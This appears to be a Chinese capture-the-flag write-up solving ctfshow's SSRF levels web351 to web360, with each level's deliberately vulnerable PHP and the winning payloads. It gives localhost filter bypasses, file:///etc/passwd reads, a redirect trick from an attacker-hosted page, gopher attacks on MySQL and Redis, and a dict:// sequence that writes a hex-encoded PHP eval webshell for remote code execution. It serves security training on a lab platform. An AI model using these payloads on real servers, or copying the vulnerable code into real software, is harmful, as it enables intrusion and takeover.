ctfshow--web入门--SSRF

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360

工具打

手动打


web351

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

尝试一下file协议

url=file:///etc/passwd

可以发现有返回值, 读取flag.php文件

url=file:///var/www/html/flag.php

查看源代码可以发现flag

也可以直接使用http协议

url=http://127.0.0.1/flag.php

得到flag

web352

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

过滤了localhost 和 127.0.0.1

且必须用http 或者https协议

绕过就行 :

--127.1可以被解析成127.0.0.1

--0可以被解析成127.0.0.1
127.0.0.1 ~ 127.255.255.254都表示localhost

进制转换 将127.0.0.1转换成十进制

127。0.0.1 也可以绕过

url=http://127.1/flag.php

url=http://0/flag.php

url=http://127.6.6.6/flag.php

url=http://2130706433/flag.php

web353

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

可以直接用上一道题的方法

进制转换或者用 0 替代啥的

url=http://0/flag.php

web354

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

sudo.cc相当于127.0.0.1

或者改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php

url=http://sudo.cc/flag.php

web355

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限定了长度, 可以用之前的方法

url=http://0/flag.php

url=http://127.1/flag.php

web356

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

进一步限制了长度, 依旧可以用之前的方法

url=http://0/flag.php

web357

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

利用302跳转

在自己的服务器上新建一个1.php ,写上如下内容

php 复制代码
<?php
header("Location:http://127.0.0.1/flag.php"); 

url=http://自己的域名/1.php

可以得到flag

web358

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

题目要求必须以 http://ctf 开头,以 show 结尾

可以具体的了解一下parse_url()函数

url=http://ctf.@127.0.0.1/flag.php?show

可以得到flag

web359

一个登录框

bp抓包

有个returl参数, 可以随意修改url

题目提示: 打无密码的mysql

工具: GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

利用gopher协议打mysql

直接使用工具

将_ 后面的内容再次url编码一下, 传上去

(PHP接收到POST或GET请求数据,会自动进行一次URL解码)

访问路径, 进行rce得到flag

web360

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

提示: 打redis

工具打

利用工具跟上题一样

依旧是要将_后面的字符再次url编码

然后传给url参数

反应有点慢, 而且后面还会返回一个 502 Bad Gateway

但是访问 shell.php 还是可以进行rce的

手动打

手动打的一个大概流程:

(第一遍没成功, 环境关了之后重复一下第二遍也没成功 , 因为之前是命名1.php 然后第三次直接又重复了一遍, 就改了个名字(shell.php), 居然就可以了,有点不理解 )

用dict协议探测一下是否在6379端口:

url=dict://127.0.0.1:6379

设置本地存放dir

复制代码
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马,一般用十六进制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:shell.php

最后保存

复制代码
url=dict://127.0.0.1:6379/save

访问shell.php 进行rce

相关推荐
聚名网2 小时前
域名net,com,cn有区别吗?有哪些不同呢?
服务器·开发语言·php
咸鱼翻身小阿橙5 小时前
VS2008 + .NET3.5 环境、加热台TCP通讯场景
tcp/ip·php·.net
Yvonne爱编码12 小时前
JAVA EE初阶---DAY 2 计算机网络
java·开发语言·计算机网络·算法·java-ee·php
zuowei288914 小时前
Laravel 9.x核心特性全解析
php·laravel
Cheng小攸14 小时前
协议分析与分析工具(二)
开发语言·php
Johnstons15 小时前
5G网络来了,App怎么测?5G网络损伤测试完整指南
开发语言·网络·5g·php·弱网测试·网络损伤·网络损伤仪
石榴树下的七彩鱼15 小时前
图片去文字接口,支持去除图片中的文字(附 Python / Java / PHP / JS 示例)
java·python·php·api接口·图片去水印·ai图片修复·图片去文字
凡人叶枫1 天前
Effective C++ 条款31:将文件间的编译依存关系降至最低
linux·开发语言·c++·php·嵌入式开发·effective c++
狗凯之家源码网2 天前
正版扭蛋机 V3 商用程序,盲盒系统落地实战指南
开源·php
程序猿阿伟2 天前
《Chrome非必要服务的精细化关闭指南》
前端·chrome·php